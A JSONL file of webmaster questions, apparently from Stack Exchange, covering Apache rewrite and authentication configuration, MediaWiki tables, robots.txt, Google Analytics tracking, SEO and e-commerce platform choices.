{"id":"8220","title":"How can I make my MediaWiki Table Sortable again?","text":"Anyone able to help me with MediaWiki Tables? I've created a table in my companies Wiki (using mediawiki 1.13.4) which I can't for the life of me get to sort correctly. It will sort on the first two columns, but any column after that the sort doesn't happen. Here's the Wiki Markup i'm using (note I'm using templates to make it easier for others to help me maintain the table) The table itself (with only one item shown for brevity in the question) {| border=\"1\" class=\"wikitable sortable\" style=\"text-align:center;\" |+'''PTFS Europe Hosted Servers''' |- !rowspan=\"2\" scope=\"col\" width=\"150px\"|Customer !rowspan=\"2\" scope=\"col\" width=\"100px\"|IP !rowspan=\"2\" scope=\"col\" width=\"100px\"|Usage !scope=\"col\" width=\"100px\"|Type !scope=\"col\" width=\"100px\"|Details !scope=\"col\" width=\"80px\"|Renewal !scope=\"col\" width=\"80px\"|Cost !scope=\"col\" width=\"80px\"|Renewal !scope=\"col\" width=\"80px\"|Value !rowspan=\"2\" scope=\"col\" class=\"unsortable\"|Notes |- class=\"unsortable\" !colspan=\"4\"|Hosting !colspan=\"2\"|Maintanence |- {{server_item |name=[http:\/\/abcd.abcd-abcd.eu Customer 1] |ip=[[XXX.XXX.XXX.XXX]] |usage=Stuff |htype=Semi Dedicated |hdetail=Linux |hrenewal=XXXX-XX-XX |hcost=£XXX.XX |mrenewal=XXXX-XX-XX |mvalue=£X,XXX.XX |notes=Bi-Annual Support }} MORE ROW ITEMS HERE |} and the template I've created to use to help fill the table. |- class=\"sortbottom\" | {{{name}}} || {{{ip}}} || {{{usage}}} || {{{htype}}} || {{{hdetail}}} || {{{hrenewal}}} || {{{hcost}}} || {{{mrenewal}}} || {{{mvalue}}} || {{{notes}}} Can't quite see what I'm missing... probably a case of can't see the wood for the trees.."}
{"id":"8221","title":"Is Paypal the best solution for payment gateway for a website?","text":"I have a realty website that needs a payment gateway for their property reservation. The reservation fee range from $500-$600 and about 5-6 people per month. I was wondering if Paypal is the best solution for accepting Payment. What will be the Pros and Cons using Paypal. Paypal was my first choice because It's easy to integrate on my existing website and I wouldn't be minding so much on the security. P.S. It's not a part of the question, But If you can site some realty website that accept payment and would be a good inspiration. It would be highly appreciated. Thanks!"}
{"id":"11874","title":"Apache mod_rewrite problem","text":"I try to use Apache mod_rewrite to redirect some pages on my customer's website to the homepage. The .htaccess file is the following: <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^environment\/teach-your-kids-to-go-green\/(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/event\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/films\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/lastcomm\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/join\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^capturenature(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/blog\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^capturenatur(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/roadtomecca\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^capturenature\/(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^shopping\/engagement-rings-for-men\/(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/thecallhome\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteRule ^a3ff\/stateofthings\\.html(.*) [DOMAINNAME]\/$1 [R=301,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> For some reason, this rewrite rule - `RewriteRule ^a3ff\/(.*) [DOMAINNAME]\/$1 [R=301,L]` - doesn't work on the production server. It does work on my development server, however. When I use `RewriteRule ^a3fff\/(.*) DOMAINNAME\/$1 [R=301,L]`, for example (one character appended), it works perfectly. It's probably the strangest .htaccess problem I've ever seen. Can anyone help me?"}
{"id":"671","title":"Will link exchange with similar sites improve my PageRank?","text":"I have a programming blog and I was wondering if link exchange with other programming blogs (where I link to them and they link to me) is a good idea to improve my site's PageRank. I know in general it is desirable because it will increase my page views and reader base. Specifically my main page has a PageRank of 4 and I'm wondering if I could ever reach a PageRank 5 by doing a lot of link exchange for similar blogs around the same PageRank? Or do the links cancel out the backlinks in terms of PageRank?"}
{"id":"39475","title":"Would an elastic IP affect SEO?","text":"I am considering moving my site to Amazon EC2 instances. Would an elastic IP affect SEO?"}
{"id":"18526","title":"Why isn't HTTP Authentication working on this Apache HTTPS site?","text":"I have set up a private MoinMoin wiki, accessed through HTTPS, but I cannot get Basic HTTP Authentication to work on it. I have it working on another site, using a similar vhosts file, so I cannot figure out what I am doing wrong. When accessing the site, the connection gets redirected to HTTPS, as intended, but there is no request for authentication credentials. Nothing relevant seems to be appearing in the access log or error log either, which is strange. I am not sure if MoinMoin sites keep their own logs, but I have defined logs in the vhosts file. <VirtualHost 00.00.00.00:80> ServerName wiki.mysite.net Redirect 301 \/ https:\/\/wiki.mysite.net CustomLog \/var\/log\/apache2\/access.log combined ErrorLog \/var\/log\/apache2\/error.log <\/VirtualHost> <VirtualHost 00.00.00.00:443> ServerName wiki.mysite.net DocumentRoot \/var\/www\/mywiki\/ ### Serve static contents (images, javascript, css...) ### AliasMatch \"^\/moin_static[0-9]*\/applets\/FCKeditor\/(.*)\" \"\/usr\/share\/fckeditor\/$1\" <Directory \"\/usr\/share\/fckeditor\/\"> Options None AllowOverride <\/Directory> # The path to static contents changes (named after moinmoin version). AliasMatch \"^\/moin_static[0-9]*\/(.*)\" \"\/usr\/share\/moin\/htdocs\/$1\" <Directory \"\/usr\/share\/moin\/htdocs\/\"> Options -Indexes -FollowSymlinks AllowOverride None <\/Directory> Alias \/robots.txt \/usr\/share\/moin\/htdocs\/robots.txt Alias \/favicon.ico \/usr\/share\/moin\/htdocs\/favicon.ico WSGIDaemonProcess mywiki user=www-data group=www-data processes=4 display-name=moin-wsgi-mywiki WSGIProcessGroup mywiki WSGIScriptAlias \/ \"\/usr\/share\/moin\/server\/moin.wsgi\" # WSGIPassAuthorization On # Read: http:\/\/moinmo.in\/HowTo\/ApacheWithModWSGI <Proxy *> AuthUserFile \/var\/www\/.htpasswd AuthName EnterPassword AuthType Basic require valid-user Order Deny,allow Allow from all <\/Proxy> <\/VirtualHost>"}
{"id":"59465","title":"Import Analytics goals and Ecommerce transactions directly into AdWords account","text":"I have a Magento-ecommerce site. Recently I migrated to Universal Analytics from Google Analytics. In Uiversal Analytics, I have tracked transaction data. It's tracking fine. I have linked Analytics and **AdWords** account. In **AdWords** , accounts are integrated fine. But it did not integrate transaction data from Google Analytics. After referred this link, I did the importing of transaction data goals after checking all other settings. Even after 24 hours and more, in tracking status of Google AdWords, it shows **no recent conversions**. Till now it did not track transaction data. As I'm referring **Google AdWords** for the first time, I could not find what wrong with this? And one more thing I got from the same link, We need to Import transaction data and goals once in 30 days manually. Can it be made to automatically import transaction data by any settings or any other? Can anyone help on this issue?"}
{"id":"59395","title":"What is the replacement for the Web Intents HTML standard?","text":"\"Web Intents\" were deprecated in Chrome 24 (November\/2011) and are no longer supported in any browser: > We also gathered a lot of valuable data and feedback from our experimental > support for Web Intents and decided to disable the feature in today's Beta > release. Is there an HTML5 standard that I can look into as an alternative to what Web Intents intended? I'm interested in how web services can be stitched together. For example, imagine a website that can import a image from any number of web- services, modify the image in some way, then push the file back to any number of other web-services, all via HTML5 standards."}
{"id":"31663","title":"Possible for using a surrogate to buy a .it domain?","text":"I'm a US citizen interested in buying an Italian TLD (`*.it`). However, those domains can only be registered by EU citizens or residents, or businesses with a registrant who is an Italian citizen and resident. Are there companies that provide a 'surrogate' like service? They fulfill the requirements for registration but I can administer the domain properties? What are they and what can I expect to pay for the middleman? Or am I a horrible person for even considering 'circumventing' the intent of the restriction?"}
{"id":"7603","title":"Is it possible to correlate goals with search terms in Google Analytics?","text":"I have a goal set up (let's say the goal is \"buy a product\"), and I can see which search terms lead to the most conversions. However, I want to know which search terms lead to which products. Is it possible to track this? There are more products than the maximum number of goals you can create, so I can't just make lots of goals."}
{"id":"7600","title":"How can I find out how many times a specific term has been searched on Google?","text":"Is this information possible to get? If not is there any other source of information that can provide this? Thank you"}
{"id":"18655","title":"Statistics for facebook like button","text":"I have a small site with facebook like button. I want to find out the information about what pages are liked. I've found url http:\/\/graph.facebook.com\/?id=http:\/\/imdb.com but it shows only overal count for the site. I think that I can ask http:\/\/graph.facebook.com\/?ids=url1,url2 with all my pages as the parameters to get detailed information, but this seems to be an ugly solution. A have lots of pages, so I have to ask facebook many times. Maybe there is some simple way of finding the information I need?"}
{"id":"34100","title":"Gallery of HTML\/JS animated graphics","text":"I'm looking for a few sites where I can browse hundreds of animated graphic effects in well-coded HTML5 and Javascript. That's it. Just some standards-compliant animation code that I can make trial- and-error modifications to."}
{"id":"56804","title":"Tracking multiple subdomains and domains going to the same site, separately in Google Analytics","text":"I have a new site that has multiple top-level domains and subdomains all going to it: `www.domain.com`, `campaign.domain.com`, `chicago.domain.com`, `domain2.com` - all go to the same site\/site directory. Right now I have one Google Analytics account profile set up for it, but I want to be able to track the traffic that is hitting those different URLs separately. The domains are being routed on the server-side (not _.htaccess_ ). How can I do this in Google Analytics? Do I need to create filters? Or create different profiles for each domain?"}
{"id":"34262","title":"How is the hierarchy of .htm\/.html\/.php decided?","text":"If I have a folder with files named index.html, index.htm, and index.php how it is decided which one will be used if you only list the URL to that folder? Is that something you can chose or is that up to the host?"}
{"id":"18304","title":"Automatically convert CSV file to MySQL","text":"I was finding automatic .csv file converter to web based to put the .csv file report as web based. but i can't find one. instead, i found one system which is taken MySQL database and show the report. Now what i need is a tool which automatically convert a .csv file to MySQL and the other tool will take the MySQL file and show as report. What opensource web tool you recommend? Thanks,"}
{"id":"9854","title":"Free user submitted plugins\/themes manager for software project","text":"I am looking for a plugin\/themes manager that users will be submitting. Pretty much I would like to have something like these: http:\/\/www.winamp.com\/plugins\/ http:\/\/addons.sonGBirdnest.com\/addons https:\/\/addons.mozilla.org\/"}
{"id":"9857","title":"Google search question, front page not showing","text":"I know this is probably a dumb question but I hope someone can give me some insight; I was ranked on Google first page of search results for \"funny st patricks day shirts\" but I was third from the bottom and not familiar enough with SEO, so I signed up for \"Attracta\" to rank higher. Big mistake. Since using Attracta, I've lost the first page and I'm now on the fourth page in that search. What I noticed is that Google is now just showing a sub-page or side page, (a link from my front page, to a page which has only a few designs in it) this is not where I would want customers to land first... but my front page is not showing in that search anymore. Obviously, the title of this side page is not geared toward that search result, so I know that's why I have the pr drop. Why is my front page not ranking over that page, though? Why is it apparently gone from that search, or so far back no one will ever find it? I need to know how to fix this quick if anyone has any advice at all for me. It's the busiest season for my website and the people who were stealing design ideas from me are all ranked higher than my site now. (I can prove this, lol) So, I'm very frustrated by that. I would be very grateful to have any advice at all as to what I can do to fix this. THANKS in advance for any advice you can offer. Catelyn"}
{"id":"9178","title":"Legitimate and Credible SEO Sites and Seminars\/Webinars","text":"In my opinion a lot of SEO information online tends to have a very \"spammy\" feel to it. Can anyone point me to some truly credible and legitimate SEO websites and\/or seminars\/webinars (other than stackexchange)? I'd like to learn more about SEO but I'm not sure where to look."}
{"id":"67860","title":"Landing page not showing in Google Analytics report","text":"The PPC campaign is redirecting from third part URL, and the conversions are tracked by Google Analytics. From organic, the referral and direct sources are not tracking. I have installed the e-commerce tracking properly. In my Google Analytics report, none of the source URLs are not displaying except PPC campaigns. When I go to content and view the landing page option there, it's showing. How do I fix this issue in my Analytics?"}
{"id":"34074","title":"What is appropriate for creating a booking system?","text":"I need a booking system for a theoretical project website. It would be an in- house job (not outsourcing to a web service) but all google searches on the subject yield results for said web services. I'd want to be able to use the system as such: For each day, there is availability recorded and if available a user can book in using the website, which sets that date to unavailable. There are other complexities, but this is the basic system I am trying to achieve - what would allow me to implement something like this?"}
{"id":"19894","title":"When is it time to move on from WordPress?","text":"My company's blog it closing in on 30,000 posts and get around 1,000,000 visits a month. Things seem slow even though we have a good server. At what point to you move on from WordPress or does it not matter? Would I have better luck splitting the DB?"}
{"id":"44853","title":"SEO Ramifications of double breadcrumbs","text":"I have a website that lists hotels, restaurants, bars, etc for a small resort town in Asia. I employ breadcrumbs to aid in user navigation, but I ran into an issue regarding categorization. Many places easily fall into two categories, such as restaurants that are also bars. They can be reached by following links from the \"Restaurants\" pages, as well as \"Bars\" pages. Is it bad practice to have TWO sets of breadcrumbs, SEO wise? Example: Home > Dining > Mexican Home > Bars & Nightlife > Cocktail Bars The breadcrumbs appear just like this at the top of the page for listings which I have under multiple categories. I know it's good for user navigation, but does this adversely affect SEO, in particular how Google handles indexing of your pages?"}
{"id":"44850","title":"We changed our domain a year ago to .com but old site is still number one when searching","text":"I changed our companies domain name a year ago from radfan.co.uk to radfan.com. When typing radfan into Google the number one result is still radfan.co.uk rather than the .com. This is not the case for Bing and Yahoo. This is the .htaccess rule I have used RewriteEngine on RewriteCond %{HTTP_HOST} ^radfan\\.co\\.uk$ [OR] RewriteCond %{HTTP_HOST} ^www\\.radfan\\.co\\.uk$ RewriteRule ^\/?$ \"http\\:\\\/\\\/www\\.radfan\\.com\\\/\" [R=301,L] Is there something else I need to do? UPDATE: Turns out if I search for radfan.com google finds it but asks if I meant \"radfan.co.uk\" ... UPDATE 2: I moved the domain in January 2012, so 14 months now"}
{"id":"50576","title":"Does removing links for certain anchor text would affect my sites Google ranking?","text":"After Google penguin update i found some of my website's keyword lost ranking. I checked all the inbound backlinks of my website and all anchor texts. I noted two or three keywords has been getting backlink from a particular blogspot. Now I plan to remove those backlinks, but if I do that i would lose more than 1000 backlinks. Does decreasing backlink would affect all my keyword's ranking in Google? or would it affect only those two or three keywords? Overall backlink count according to GWT is 18,403 (it may varied on other SEO online tools)."}
{"id":"1256","title":"Where can I find the full list of Google\/Microsoft CDN hosted AJAX files?","text":"While Google hosts this list and Microsoft hosts this one there are several files missing such as jQuery UI CSS. Where can I find a complete listing of all the resources offered for major AJAX CDNs, especially Google and Microsoft (due to popularity)? **CDNs listings found so far** (mostly thanks to artlung): * Google: http:\/\/code.google.com\/apis\/ajaxlibs\/documentation _(Darryl Hein also found http:\/\/scriptsrc.net for easier access)_ * Microsoft: http:\/\/www.asp.net\/ajaxlibrary\/cdn.ashx * AOL: http:\/\/o.aolcdn.com (can only find http:\/\/dev.aol.com\/dojo for references to URLs) * Yahoo: http:\/\/developer.yahoo.com\/yui\/articles\/hosting **Google CDN Hosted jQuery UI Themes** Base, Black-Tie, Blitzer, Cupertino, Dark-Hive, Dot-Luv, Eggplant, Excite- Bike, Flick, Hot-Sneaks, Humanity, Le-Frog, Mint-Choc, Overcast, Pepper- Grinder, Redmond, Smoothness, South-Street, Start, Sunny, Swanky-Purse, Trontastic, UI-Darkness, UI-Lightness and Vader. **EDIT:** Just use CDN JS for all the hosting from one domain."}
{"id":"47622","title":"PrestaShop preformence with 100.000 + products","text":"I am i the process of finding a replacement for an old web-shop (Compumail.dk), we are looking at a lot of possibility's and one of them is PrestaShop. The site has in the area of 100.000 products, and we need a solution that can handle this number growing (200.000 - 600.000) in the coming years, i found this: http:\/\/blog.egrovesys.com\/ecommerce-development\/magento-prestashop- latest-comparison where it says that it can only handle 25.000 products. So can a PrestaShop be made to handle 100.000+ products, and preform well? Thanks in advance."}
{"id":"47623","title":"Is it necessary to browser QA different versions of non-IE Browsers?","text":"For example, is there a chance that Chrome 25 will render an element differently than Chrome 26? If the answer is \"no\", a link to a resource that explains why there are no differences in redering between versions would be ideal. **Edit** Thanks for the feedback. Everyone seems to indicate that, yes, it's possible that something could change in the redering engine. In my original question, I asked for a resource if the answer was \"no\". Now that the answer seems to be \"yes\" can anybody point to a specific redering difference between to versions of non-IE browsers? For example, Chrome 23 renders X as inline, while Chrome 24 reders x as block."}
{"id":"23176","title":"How do I install a Web Application to the root of the domain using Plesk?","text":"I'm trying to use Parallels Plesk Panel 9.5.5 for Windows, and I'm trying to install Mediawiki using their installer. I want the wiki to be on the root of the domain, but I can't figure out what to put in this field  I found similiar questions on different sites that suggested using `.` or `\/` and neither worked. `httpdocs` just placed an `httpdocs` folder inside the exisitng `httpdocs` folder. This is a required field so I can't leave it blank. It seems like this should be possible, any ideas?"}
{"id":"28335","title":"Alexa indexing browsing history?","text":"We have this test.php sitting around in a forgotten folder. It is a script which just sends an email to our site admin. We never had a page linking to it. It is not indexed by Google. It does not exist in the Internet Archive Wayback Machine. But every now and then it gets crawled by ia_archiver. I wonder how it got indexed. Could it be because of the Alexa toolbar installed on our computer? Does Alexa index our personal browsing history?"}
{"id":"23178","title":"Making a site available at http and https after installing an SSL certificate","text":"I just had hostgator install an SSL certificate on my site. As a result, my site is only available (right now) at https:\/\/mysite.com. Based on the answer to this question, it sounds like it's possible to make it also available at http:\/\/. How can I go about doing that?"}
{"id":"1529","title":"Multiple google analytics instances on a page?","text":"My company creates (and hosts) sites for many different clients. We allow clients to send us tracking code, including Google Analytics, and we put them on the page. We would also like to include our own Google Analytics code for internal tracking. When we first investigated this issue a couple years ago, Google warned about including multiple bits of GA tracking code on the same page due to cookie conflicts. Has this changed? Is it now safe to include multiple copies with different accounts?"}
{"id":"28333","title":"two columns text block with an image","text":"I have a dilemma. Here is the layout:  How should I markup this kind of layout? P.S.: The columns have different width."}
{"id":"60113","title":"How to eliminate \/wiki\/ directory in rewrite rule on a site dedicated for a wiki","text":"I have set up a subdomain of my site (for the purposes of this question I'll call it `wiki.example.com`), installed a wiki there, and set up URL rewrite according to the article on MediaWiki's website (http:\/\/www.mediawiki.org\/wiki\/Manual:Short_URL\/Apache). But because my subdomain is purely dedicated to the wiki I was hoping that I could have my URLs in the format `wiki.example.com\/ArticleName` rather than `wiki.example.com\/wiki\/ArticleName`. I tried this by modifiying the rewrite rule in a way I thought would be correct: RewriteRule ^(\/.*)$ %{DOCUMENT_ROOT}\/index.php [L] Disclaimer: it may not have been exactly like that as the syntax I had written is no longer available for me to retype into this question. This partially worked, as I could reach the page at `wiki.example.com\/Main_Page` but none of the images or CSS had loaded. I suspect the URL rewrite rule was trying to point everything at `index.php` but I'm wondering if there's any way to get a URL in the format `wiki.mysite.com\/ArticleName`?"}
{"id":"61429","title":"What method should I use for copying data from one table to another one?","text":"I'm wondering what method I should use for copying data from one table to another one. I'm letting users post data through a form which uses table1 to save data. Now for displaying results I use data from table2 but I also need some data from table1. * Method 1: Copy the needed data on pageload, when the user executes it. Might get slower, but uses live data. * Method 2: Use a cronjob. Less resources, but not live data I'm interested in how much this will affect the speed of the website."}
{"id":"22559","title":"Database Management System do exist?","text":"I want to build a database for my no-profit association, and i was planning to do it by myself. But then i realize that really i don't have the time to buid a solid, secure system. So i was thinking, maybe like cms do exist, maybe there are also database management systems. I mean a layer of abstraction over the database that allow you manage data, manage access to data, create widgets with and expand the data. Maybe with a frontend to use this data and a backend to manage it. that is a cms but not based on pages and post but on data! Moreover, i would like some standard solution, because my IT management position ends this year, so i need something that will be easy to use and expand even by someone that is not a developer. So do exist something that fit my need? PS: i would really like some modern and visually pleasant solution, javascritp and ajax heavy and that relies the fewest is possible on server and reloading of the pages."}
{"id":"22225","title":"How do I serve dynamic WebDAV directory listings using Apache","text":"I can use mod_rewrite to redirect `\/dynamic.php\/xyz.php` to `\/dynamic.php` and then server different content for xyz.php using `$_SERVER` - where `xyz.php` is any arbitrary filename requested by a client. No problem so far. When a client connects to my WebDAV server they can list the contents of a directory, eg `\/` or `\/dynamic.php\/` - how do I intercept this request so I can dynamically generate a list of available files for the client (which requests this list using `PROPFIND`)?"}
{"id":"22556","title":"looking for a free site like vectormagic","text":"I am looking for a FREE site like Vectormagic that takes pixellated images and makes them vector antialiased. any ideas? I need something I don't need to download. just upload an image and they antialias for you."}
{"id":"22226","title":"IIS 7.5 Compression is not working when loading the page on a local computer","text":"If I try to access our website inside our servers using the remote desktop connection. YSlow and PageSpeed is reporting that our website are compressed. But If I try to access our website in my local computer, both the YSlow and PageSpeed reports that our site is not compressed. I'm confused with it. I don't know anymore what configuration I needed to check to make sure compression is working."}
{"id":"22220","title":"Restricting crawler activity to certain directories with robots.txt","text":"I would like to use robots.txt to prevent indexing of some parts of my website. I want search engines to index only the `\/` directory and not search inside my controllers. In my robots.txt, I have this: User-Agent: * Disallow: \/compagnies\/ Disallow: \/floors\/ Disallow: \/spaces\/ Disallow: \/buildings\/ Disallow: \/users\/ Disallow: \/ I put this file in `\/mysite\/public`. I tested the file with a robots.txt validator and got no errors. However, Google always returns the result of my site. For testing, I added `Disallow: \/`, but again, Google indexed all pages. `floors`, `spaces`, `buildings`, etc. are not physical directories. Is this a bug? How can I work around it?"}
{"id":"61424","title":"Google Webmaster Tools crawl errors reported after using Geo IP delivery","text":"I am using Magento for my site. Recently I blocked my website for the U.S. using the PHP Geo IP Location country database. This means that when people visit from the U.S., the site will show just a restricted access message. But the next day when I logged into my Webmaster Tools account, I see errors for 300 pages. It shows `500` errors for the links, however the pages are working for me. Here is the error reported by Google: > http:\/\/example.com\/: Increase in server errors May 4, 2014 Google detected a > significant increase in the number of URLs we could not access. It is likely > that your server had an internal error or was busy when attempting to > process these requests."}
{"id":"31084","title":"Make blogger load faster","text":"I use Blogger as a platform for an electronic music blog. Because of the thematics of the blog I embed many iframes (Youtube & Soundcloud). Of course this makes the articles load slowly. Almost every article on this blog consists of some text and many iframes below. What should I do in this particular case in order to make the pages load faster. Is there any available solution or I should use some jQuery like lazy load to load iframes once the scroller reaches them?"}
{"id":"31086","title":"Google Position Ranking for Specisific Keyword and Domain","text":"How i can now my website position ranking for specific keywords? example my website is `gusdecool.com` and i want to know my position ranking on Google search for keyword `Rapidleech` How to do that? or maybe google has service to do it?"}
{"id":"31081","title":"Different filter settings in report tabs of Google Analytics Custom Reporting?","text":"I'm wondering if it's possible to have different filter settings in different report tabs of custom report in Google Analytics? It looks like the filter settings can only be set for all report tabs of the custom report. I'm trying to get 2 graphs * 1 shows just home page visits (page exact = **_\/_** ) * 2 shows article page visits (page regex = **_\/[Pp]age\/._ ***) Is this possible?"}
{"id":"47830","title":"SEO best practice for a breadcrumb made by a CSS drop-down menu","text":"Usually I make my \"breadcrumb\" with a `<h1>`, at the pages top, which is perfect for the SEO, like following : `<h1>Section > Category<\/h1>` But in a new project, I wish to display a drop-down menu that will be the \"breadcrumb\" too, like the following (see the **fiddle** ) : <div class=\"rub\"> <ul> <li><a href=\"\/selected-section\/\">Selected section<\/a> <ul> <li><a href=\"\/other-section\/\">Other section<\/a><\/li> <li><a href=\"\/other-section\/\">Other section<\/a><\/li> <li><a href=\"\/other-section\/\">Other section<\/a><\/li> <\/ul> <\/li> <\/ul> <\/div> <> <div class=\"rub\"> <ul> <li><a href=\"\/selected-cat\/\">Selected category<\/a> <ul> <li><a href=\"\/other-cat\/\">Other cat<\/a><\/li> <li><a href=\"\/other-cat\/\">Other cat<\/a><\/li> <li><a href=\"\/other-cat\/\">Other cat<\/a><\/li> <li><a href=\"\/other-cat\/\">Other cat<\/a><\/li> <\/ul> <\/li> <\/ul> <\/div> URLs will be rewrote like : `http:\/\/www.mydomain\/selected-section\/selected- cat\/` The Title tag will get the value : `<title>Selected section > Selected cat<\/title>` **My question(s)** How the search engines will index this navigation? Is it a better way to declare this navigation with something like following in the menu: ... <a href=\"\/selected-section\/\"><h1>Selected section<\/h1><\/a> ... <a href=\"\/selected-cat\/\"><h2>Selected category<\/h2><\/a> ... Any other idea or advice will be appreciated. **Edit** A solution could be the `microdata` with a `breadcrumb` type, about breadcrumb microdata Please let me know if this is the best practice."}
{"id":"31082","title":"Google Analytics: How can I traffic and referrals from iPad applications?","text":"In Google Analytics, there is extensive information on the mobile device, version and browser version. However, this doesn't seem to go beyond the mobile browser. I would like to determine which application is responsible for visits to my site. Specifically, I want to know how many visits are coming from zite. http:\/\/www.handsetdetection.com\/properties\/vendormodel\/Apple\/iPad\/page:4 seems to indicate this information is probably available, where\/does Google Analytics expose this?"}
{"id":"26424","title":"Do I really need to test on different OSes?","text":"I know testing websites on different browsers is important, but do browsers really render pages differently on different OSes? For example, do I have to test Chrome for Mac, Linux and Windows to prove it works or is one fine?"}
{"id":"26423","title":"Using local DNS and public DNS during site development","text":"I'm a web designer and I often develop new sites for existing businesses. Sometimes I find it useful to point my DNS address (for my personal computer) to the development servers local DNS (instead of Googles 8.8.8.8 or the default isp's address). I like this as it let's me see that the new site's internal links, etc, operate before switching over the authorative DNS from the old site. However outgoing links (Like a Google map) would not route with my local dns. The first thing I thought was, oh I just need to fill out my DNS directory with Google and every other domain I might need to link to, wait... that sounds insane. I was wondering if anyone could give me insight into a better way or more functional way to get use local DNS addresses when they're available and public supplied DNS address when they are not? Kinda like a DNS to 'roll- over'? Or maybe a completely different approach to development all together. Thanks in advance for your insight. All the best!"}
{"id":"7894","title":"Where can I find a web service for fast food nutrition information?","text":"Does anyone know where I can find a web service (or even an XML file or spreadsheet I can download) that will let me pull in nutrition information from the major fast food chains (U.S.-based only)?"}
{"id":"26421","title":".htaccess issue (500 - Internal Server Error) error","text":"I was trying to learn how to edit and make a .htaccess file using a tutorial found at corz.org, I copied an existing .htaccess file from another site on my localhost and pasted the following content in it the follow: RewriteEngine on RewriteRule ^(.*)\\.html$ $a.php [NC] I was trying to learn how to redirect HTML pages to some PHP page. **My questions are:** 1. I tried doing Right Click > New > Text Document > Renaming it '.htaccess'. It should work but it gave an error that I must provide file name. But when I pasted .htaccess file here it was pasted successfully... Why is this? the same rules should apply to .htaccess file and it should generate some error. 2. I have pasted the exact code and checked for any space UN-intentionally left, but still internal server error 500 occurs. Why is this? Note: I am using Microsoft Windows and Wamp version 2.2"}
{"id":"32874","title":"The adress without WWW points to the old server","text":"I have just changed Web host but I have a small problem, the domain.com site points to my new server but www.domain.com is always on my former server. How to remedy it?"}
{"id":"29181","title":"Copy another website's template","text":"i've found a website with a great template. Is there any legal way that I could use the template? I don't want to copy and paste the css file, but is it ok to use the exact colors and styles?"}
{"id":"58045","title":"How not to get blacklisted using BCC","text":"We have a legitimate need to send out emails to groups of our users (it's system info, not marketing email), and we want to just add the list of people to the BCC field rather than the TO field. However, we're worried that we could get blacklisted as spammers for these periodic emails to small groups. Is it true that if you have the FROM email address listed in the TO field, and BCC everyone else, you won't be seen as spam? Should we just use BCC without worrying about the TO field, and try to set up something like Sender Policy Framework?"}
{"id":"24689","title":"Google Analytics In-Page Tracking For <input> Clicks","text":"The in-page view in Google Analytics shows the website in an IFrame and overlays the statistics of link clicks. How is this done to track and show clicks (or entered data) for textbox ( elements)?"}
{"id":"24687","title":"Get the number of concurrent users in Apache?","text":"We want to know how many concurrent users the apache is serving at one time? Can I do it by installing some statistics tools? I tried webalizer but it only shows hourly hits, not the number of users. Or I have to analyze the log using some tools?"}
{"id":"50824","title":"What are the security implications of using Google Analytics?","text":"I'd like to start using an analytics tool (namely Google Analytics) to collect information on how my web app is used, by whom, and what our user's technical capabilities are. As part of the introduction of this tool, I'm going to be asked what the security implications are. Does using Google Analytics pose any security concerns? Are there any PCI compliance issues that it might introduce? And if there are no unreasonable concerns, how can I document this? I have searched Google Analytics website, and have found a privacy statement, but not a specific statement of what information their tool collects, or how it is stored."}
{"id":"47095","title":"How do I create a circular gradient in HTML or CSS?","text":"Hey guys I'm wondering if you know of any way on how to create a circular\/elliptical gradient that has many colors? An example of this is shown on the background of this Microsoft logo picture:  Any idea on how I would create it in HTML or CSS? Or would I have to use an image editing software like Photoshop?"}
{"id":"28158","title":"List view pages in google index","text":"We have a large database of items which are viewable as individual items (they are plants) (url example http:\/\/www.plantify.co.uk\/Abelia- chinensis\/plant-5087) or in a list view (url example http:\/\/www.plantify.co.uk\/page-1\/plant). There is a link on the individual page to the list view. We want to index in google for the term Abelia chinensis. My question revolves around the list view and its impact on SEO. Should we prevent google from indexing the list view? Should we put a no follow on the link to the list view to prevent us from losing link 'juice' to a page that is really on for navigation\/"}
{"id":"34348","title":"Vbulletin on nginx?","text":"As an nginx fan, I need to set up a VB for a friend so I am wondering whether one can server VB site using nginx\/php-fpm instead of apache? What are the specefic rewrite rules for that? How common this approach is and whether there are any benefits in doing so? Thanks"}
{"id":"52471","title":"Will Google crawl a news\/RSS aggregator site?","text":"I know how to code. I know how to set up a news\/RSS aggregator site. But I don't know if Google will crawl it. Will Google crawl such a site? The site will have a listing of all the aggregated news with the title, a short snippet of the news, and an image (not all will have an image) of the original news article. When a user clicks the article the user will get redirected to the source. Something like drudgereport. I haven't seen a drudgereport link when I search so I can't tell. (Maybe because it has something to do with my location I don't know.) Anyway any ideas?"}
{"id":"48785","title":"Is cloaking of sitemap.xml permitted?","text":"I have a scenario where my sitemaps are generated when visiting `\/sitemap.xml` due to the contents being dynamic in nature. For that reason I'd like to not call the services that are used to create my sitemap when a user visits but it should generate contents when Google or Bingbot visits the link. I have code to detect the bots. I'm concerned if this is considered as _bad_ according to Google or Bing."}
